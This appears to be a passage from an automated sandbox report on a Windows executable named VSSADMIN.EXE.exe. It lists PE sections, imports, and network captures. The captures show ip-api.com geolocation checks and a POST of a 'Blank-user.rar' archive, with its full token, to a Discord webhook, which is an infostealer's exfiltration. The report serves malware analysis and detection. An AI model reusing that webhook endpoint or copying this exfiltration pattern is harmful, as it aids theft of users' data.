IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39340	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2a000	0x418	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28830	0x28a00	False	0.5571334134615384	data	6.48139234696373	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2a000	0x12ade	0x12c00	False	0.5151302083333333	data	5.822756630008917	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3d000	0x103f8	0xe00	False	0.13309151785714285	DOS executable (block device driver \377\3)	1.8096886543499544	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x4e000	0x20a0	0x2200	False	0.4749540441176471	data	5.22608226661587	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x51000	0x15c	0x200	False	0.38671875	data	2.734076656433961	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x52000	0x4b4c	0x4c00	False	0.8816303453947368	data	7.7097824687179575	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x57000	0x758	0x800	False	0.544921875	data	5.2576643703968475	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x52250	0x25c	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	1.0182119205298013
RT_ICON	0x524ac	0x374	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	1.012443438914027
RT_ICON	0x52820	0x495	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	1.0093776641091219
RT_ICON	0x52cb8	0x681	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	1.0066066066066066
RT_ICON	0x5333c	0x7f7	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	1.0053948013732221
RT_ICON	0x53b34	0xdb7	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	0.9982910851609228
RT_ICON	0x548ec	0x187d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9487956611899825
RT_GROUP_ICON	0x5616c	0x68	data	0.75
RT_VERSION	0x561d4	0x3e8	data	0.448
RT_MANIFEST	0x565bc	0x58e	XML 1.0 document, ASCII text, with CRLF line terminators	0.44655414908579466

Imports

DLL	Import
USER32.dll	CreateWindowExW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, IsValidCodePage, GetACP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, GetModuleFileNameW, GetProcAddress, GetCommandLineW, GetEnvironmentVariableW, GetOEMCP, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, CloseHandle, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetCPInfo, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEnvironmentVariableW, RtlUnwindEx, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, SetEndOfFile, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2023 22:15:59.762953043 CEST	49715	80	192.168.2.4	208.95.112.1
Sep 15, 2023 22:15:59.859477043 CEST	80	49715	208.95.112.1	192.168.2.4
Sep 15, 2023 22:15:59.859648943 CEST	49715	80	192.168.2.4	208.95.112.1
Sep 15, 2023 22:15:59.859786034 CEST	49715	80	192.168.2.4	208.95.112.1
Sep 15, 2023 22:15:59.958157063 CEST	80	49715	208.95.112.1	192.168.2.4
Sep 15, 2023 22:15:59.959615946 CEST	49715	80	192.168.2.4	208.95.112.1
Sep 15, 2023 22:16:00.055789948 CEST	80	49715	208.95.112.1	192.168.2.4
Sep 15, 2023 22:16:00.057337999 CEST	49715	80	192.168.2.4	208.95.112.1
Sep 15, 2023 22:16:19.236723900 CEST	49717	80	192.168.2.4	208.95.112.1
Sep 15, 2023 22:16:19.333720922 CEST	80	49717	208.95.112.1	192.168.2.4
Sep 15, 2023 22:16:19.333930969 CEST	49717	80	192.168.2.4	208.95.112.1
Sep 15, 2023 22:16:19.333969116 CEST	49717	80	192.168.2.4	208.95.112.1
Sep 15, 2023 22:16:19.459372044 CEST	80	49717	208.95.112.1	192.168.2.4
Sep 15, 2023 22:16:19.502365112 CEST	49717	80	192.168.2.4	208.95.112.1
Sep 15, 2023 22:16:19.859539986 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:19.859577894 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:19.859637976 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:19.901377916 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:19.901459932 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.107892990 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.108346939 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.108427048 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.110073090 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.110239029 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.111078978 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.111263990 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.111499071 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.111499071 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.111563921 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.111588001 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.111684084 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.111726046 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.111836910 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.111885071 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.111985922 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112015963 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.112049103 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112062931 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.112092018 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112107038 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.112238884 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112256050 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.112298012 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112313032 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.112356901 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112375021 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.112399101 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112411976 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.112472057 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112488031 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.112509966 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112526894 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.112580061 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112601042 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112643957 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112668037 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112726927 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112780094 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112823963 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112888098 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112947941 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.112998962 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.152721882 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.153059959 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.153127909 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.153165102 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.153189898 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.153227091 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.153244972 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.153310061 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.153372049 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.153428078 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.153460979 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.196721077 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.197046041 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.197122097 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.197160006 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.197187901 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.197220087 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.197242022 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.197261095 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.197288036 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.197320938 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.197351933 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.244689941 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.244900942 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.244956970 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.244987011 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.245026112 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.245066881 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.292692900 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.295808077 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.296055079 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.296070099 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.296166897 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.296466112 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.296533108 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:20.336715937 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.389039993 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.487620115 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:20.591521025 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:21.306128979 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:21.306338072 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:21.306416035 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:21.306446075 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:21.306576967 CEST	443	49718	162.159.138.232	192.168.2.4
Sep 15, 2023 22:16:21.306633949 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:21.313198090 CEST	49718	443	192.168.2.4	162.159.138.232
Sep 15, 2023 22:16:21.329801083 CEST	49717	80	192.168.2.4	208.95.112.1
Sep 15, 2023 22:16:21.426608086 CEST	80	49717	208.95.112.1	192.168.2.4
Sep 15, 2023 22:16:21.426765919 CEST	49717	80	192.168.2.4	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2023 22:15:57.744563103 CEST	63362	53	192.168.2.4	8.8.8.8
Sep 15, 2023 22:15:58.351931095 CEST	53	63362	8.8.8.8	192.168.2.4
Sep 15, 2023 22:15:58.361323118 CEST	49817	53	192.168.2.4	8.8.8.8
Sep 15, 2023 22:15:58.462224960 CEST	53	49817	8.8.8.8	192.168.2.4
Sep 15, 2023 22:15:58.484169960 CEST	62550	53	192.168.2.4	8.8.8.8
Sep 15, 2023 22:15:58.587532997 CEST	53	62550	8.8.8.8	192.168.2.4
Sep 15, 2023 22:15:58.592437983 CEST	53300	53	192.168.2.4	8.8.8.8
Sep 15, 2023 22:15:58.691107035 CEST	53	53300	8.8.8.8	192.168.2.4
Sep 15, 2023 22:15:59.654330969 CEST	64803	53	192.168.2.4	8.8.8.8
Sep 15, 2023 22:15:59.760168076 CEST	53	64803	8.8.8.8	192.168.2.4
Sep 15, 2023 22:16:19.128405094 CEST	54388	53	192.168.2.4	8.8.8.8
Sep 15, 2023 22:16:19.235579967 CEST	53	54388	8.8.8.8	192.168.2.4
Sep 15, 2023 22:16:19.757888079 CEST	58458	53	192.168.2.4	8.8.8.8
Sep 15, 2023 22:16:19.858509064 CEST	53	58458	8.8.8.8	192.168.2.4
Sep 15, 2023 22:17:21.707096100 CEST	58867	53	192.168.2.4	8.8.8.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 15, 2023 22:15:57.744563103 CEST	192.168.2.4	8.8.8.8	0xcc3f	Standard query (0)	blank-2md3e.in	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:15:58.361323118 CEST	192.168.2.4	8.8.8.8	0x5940	Standard query (0)	blank-2md3e.in	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:15:58.484169960 CEST	192.168.2.4	8.8.8.8	0xa01a	Standard query (0)	blank-2md3e.in	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:15:58.592437983 CEST	192.168.2.4	8.8.8.8	0xdca4	Standard query (0)	blank-2md3e.in	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:15:59.654330969 CEST	192.168.2.4	8.8.8.8	0x287	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:16:19.128405094 CEST	192.168.2.4	8.8.8.8	0x9906	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:16:19.757888079 CEST	192.168.2.4	8.8.8.8	0x4f8e	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:17:21.707096100 CEST	192.168.2.4	8.8.8.8	0x3179	Standard query (0)	tse1.mm.bing.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 15, 2023 22:15:58.351931095 CEST	8.8.8.8	192.168.2.4	0xcc3f	Name error (3)	blank-2md3e.in	none	none	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:15:58.462224960 CEST	8.8.8.8	192.168.2.4	0x5940	Name error (3)	blank-2md3e.in	none	none	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:15:58.587532997 CEST	8.8.8.8	192.168.2.4	0xa01a	Name error (3)	blank-2md3e.in	none	none	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:15:58.691107035 CEST	8.8.8.8	192.168.2.4	0xdca4	Name error (3)	blank-2md3e.in	none	none	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:15:59.760168076 CEST	8.8.8.8	192.168.2.4	0x287	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:16:19.235579967 CEST	8.8.8.8	192.168.2.4	0x9906	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:16:19.858509064 CEST	8.8.8.8	192.168.2.4	0x4f8e	No error (0)	discord.com		162.159.138.232	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:16:19.858509064 CEST	8.8.8.8	192.168.2.4	0x4f8e	No error (0)	discord.com		162.159.136.232	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:16:19.858509064 CEST	8.8.8.8	192.168.2.4	0x4f8e	No error (0)	discord.com		162.159.135.232	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:16:19.858509064 CEST	8.8.8.8	192.168.2.4	0x4f8e	No error (0)	discord.com		162.159.137.232	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:16:19.858509064 CEST	8.8.8.8	192.168.2.4	0x4f8e	No error (0)	discord.com		162.159.128.233	A (IP address)	IN (0x0001)	false
Sep 15, 2023 22:17:21.809499025 CEST	8.8.8.8	192.168.2.4	0x3179	No error (0)	tse1.mm.bing.net	mm-mm.bing.net.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49718	162.159.138.232	443	C:\Users\user\Desktop\VSSADMIN.EXE.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49715	208.95.112.1	80	C:\Users\user\Desktop\VSSADMIN.EXE.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2023 22:15:59.859786034 CEST	9	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.0.4
Sep 15, 2023 22:15:59.958157063 CEST	9	IN	HTTP/1.1 200 OK Date: Fri, 15 Sep 2023 20:15:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49717	208.95.112.1	80	C:\Users\user\Desktop\VSSADMIN.EXE.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2023 22:16:19.333969116 CEST	16	OUT	GET /json/?fields=225545 HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.0.4
Sep 15, 2023 22:16:19.459372044 CEST	17	IN	HTTP/1.1 200 OK Date: Fri, 15 Sep 2023 20:16:19 GMT Content-Type: application/json; charset=utf-8 Content-Length: 166 Access-Control-Allow-Origin: * X-Ttl: 40 X-Rl: 43 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 72 65 76 65 72 73 65 22 3a 22 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 74 72 75 65 2c 22 71 75 65 72 79 22 3a 22 31 39 31 2e 39 36 2e 31 35 30 2e 32 30 39 22 7d Data Ascii: {"status":"success","country":"United States","regionName":"New York","timezone":"America/New_York","reverse":"","mobile":false,"proxy":true,"query":"191.96.150.209"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49718	162.159.138.232	443	C:\Users\user\Desktop\VSSADMIN.EXE.exe

Timestamp	kBytes transferred	Direction	Data
2023-09-15 20:16:20 UTC	0	OUT	POST /api/webhooks/1125357329798418472/yWPfp1iKyx0rkQloEOr9Xk-aX81R6WKX-1QBrT7zz3erb7v9flhr6ifTFvcDhFyRvu2k HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 838652 User-Agent: python-urllib3/2.0.4 Content-Type: multipart/form-data; boundary=df04b12a7b80d1dae6cbaca19bb29ce2
2023-09-15 20:16:20 UTC	0	OUT	Data Raw: 2d 2d 64 66 30 34 62 31 32 61 37 62 38 30 64 31 64 61 65 36 63 62 61 63 61 31 39 62 62 32 39 63 65 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 6a 6f 6e 65 73 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 f1 55 78 45 21 04 00 00 01 0f 0f a7 d5 56 90 4a 8b ae 6c 0e 82 15 a1 26 96 55 c0 a3 3b 45 eb 35 16 eb c3 4d 31 10 06 5b d0 3b c2 db 7f 7a 2c 89 1e ca 5a a9 1c 4c 7a 12 cb ee 9f 26 66 e8 5b 07 b0 d6 99 79 d3 63 f1 e7 ba 57 5e e4 7f 70 fa f4 72 a2 13 6e aa 43 db 57 fb 22 d0 c6 61 0e c0 6c Data Ascii: --df04b12a7b80d1dae6cbaca19bb29ce2Content-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!UxE!VJl&U;E5M1[;z,ZLz&f[ycW^prnCW"al
2023-09-15 20:16:20 UTC	16	OUT	Data Raw: 23 29 d9 70 54 31 5f 4b 03 79 42 64 10 6a f2 8d f2 09 de b3 3e 2e 8a 81 9f 16 d1 87 94 c9 59 38 a8 ae 8d cb dd 89 95 86 bd c6 36 1c 76 68 5b bc 46 bb fa 63 0d a7 0b 67 80 c4 8f 88 ab 2e 5b 3c 35 4c fc d3 06 4d cb 8f 0e 75 76 72 08 9c 63 1c d8 38 29 79 89 da 21 b8 e2 b9 42 49 a5 7b 07 48 00 9f fc 1f a6 89 1b 4a 1e b7 dd 35 b8 55 52 c4 54 8f 7f b5 3f 7b 10 8c 28 e5 b6 89 3d 05 4d 52 3f 28 37 ca 58 b8 d1 8c cf a0 a9 c8 d5 b9 b6 21 b4 be dc 1c 3a 76 e9 7a 6b 36 6a 9e 0a 7f e8 0b bf e7 ed 8a 74 5c ac 61 92 3a d7 9a 3c 40 9a 24 ec d5 a2 77 6f 1b e9 46 15 4f af 6e 3b 85 3e 6f 32 3b 03 b7 5e 45 f1 77 ae e2 ee d1 8e e8 73 85 c2 9e cd 13 d7 b2 ac e2 98 4f 02 bd 6d 53 d6 35 8b c5 cd 7b b4 0d 9a 67 03 01 6c ad 6d 48 2d 57 dd 03 37 45 d5 25 cc 99 6d 22 d9 62 15 16 e6 Data Ascii: #)pT1_KyBdj>.Y86vh[Fcg.[<5LMuvrc8)y!BI{HJ5URT?{(=MR?(7X!:vzk6jt\a:<@$woFOn;>o2;^EwsOmS5{glmH-W7E%m"b
2023-09-15 20:16:20 UTC	32	OUT	Data Raw: 47 4a c0 1c af 80 ef da 48 d8 6d 95 2e 9d aa 92 71 5a ff f5 7a 6b 79 2f 1a 7e 15 6a fa 9f 27 19 ec 10 37 ec 4e 7a 97 f0 55 2e 55 04 db 36 ad 04 74 6e 08 43 4f bb 5e 9e 7b b0 d4 d2 e4 4b 46 49 b9 a4 c4 24 62 97 52 92 5f 87 97 76 53 8d cb 89 62 5d a3 4a d3 50 ca 15 08 d6 cc 99 03 bc 4d 86 76 5b 7d a3 f3 51 01 78 8a aa 52 7b 45 75 21 c0 d9 b9 17 9b 2a e6 bc bd b8 5c 60 3f 47 0d 31 e2 8c c7 ee bf e0 3c ea fc 37 c8 6d 3e 39 3c 0e 9a bc db e0 d0 44 48 9b 1c 0c bc a0 9f 06 f7 9b 77 bb 4e 8f 73 76 18 2b 04 cb 16 dd 51 a0 ba 25 e4 57 ba 7e 18 da a5 1f e3 5c 59 c9 b7 8f 6f 4a 58 ea 8d 97 c8 2c 9e d4 df 4f 5b 8f 0b 1b a8 ff ae 2a 0b ae 59 d1 8f 02 f0 ec 72 c4 4e ac fe c2 49 d1 ca ed 13 6e 44 47 04 3e 14 36 3e 1c 20 89 f8 b8 d5 bc 54 bc a2 da 68 58 2f 3a 8c 18 32 fd Data Ascii: GJHm.qZzky/~j'7NzU.U6tnCO^{KFI$bR_vSb]JPMv[}QxR{Eu!\`?G1<7m>9<DHwNsv+Q%W~\YoJX,O[YrNInDG>6> ThX/:2
2023-09-15 20:16:20 UTC	48	OUT	Data Raw: 63 9a 23 d2 84 41 9f cd cc ab 02 58 90 15 40 4b 26 42 9e a1 3a 56 10 18 dd 81 50 17 bf 60 d5 f8 19 83 33 0c 4e 83 b0 84 c9 d4 2e 36 1e ec 9c 33 14 68 31 10 88 05 b6 f3 eb f3 28 73 ac de 9e eb 20 e4 1a 61 26 b5 ec ec f3 75 47 4a 87 a6 2d 51 b0 64 04 d6 ee a3 48 68 ac 20 68 5f ed 39 07 1c 1e 99 75 25 d0 28 0a 48 97 e4 69 5d ea 18 29 00 08 58 5a 33 a7 eb 6c ca 7d f4 05 f5 f4 fb 25 1a 7d 2d da 2a 89 4d db 33 4f ce 6a 76 38 6d 23 af 16 47 e4 d1 13 92 03 fb 91 b3 a5 3f 3e 59 5e 8c d1 e4 89 ad 7d 86 5c 37 af 7c b0 b3 b8 c5 a9 50 86 3f 7c 4c 08 26 a3 09 71 64 73 0a 3b a8 81 2e f8 9a b4 ab ab 73 f4 b6 9b 25 98 f4 35 33 5d 60 b8 d4 23 ea b8 d5 ff 98 5c cd 44 14 c2 6c b0 f1 50 12 66 10 1f 80 c1 9f 6e 8f e7 4d 98 b0 a9 93 f5 83 c1 c9 fa 9c 31 e0 d1 1d b1 d5 e5 00 0e Data Ascii: c#AX@K&B:VP`3N.63h1(s a&uGJ-QdHh h_9u%(Hi])XZ3l}%}-*M3Ojv8m#G?>Y^}\7\|P?\|L&qds;.s%53]`#\DlPfnM1
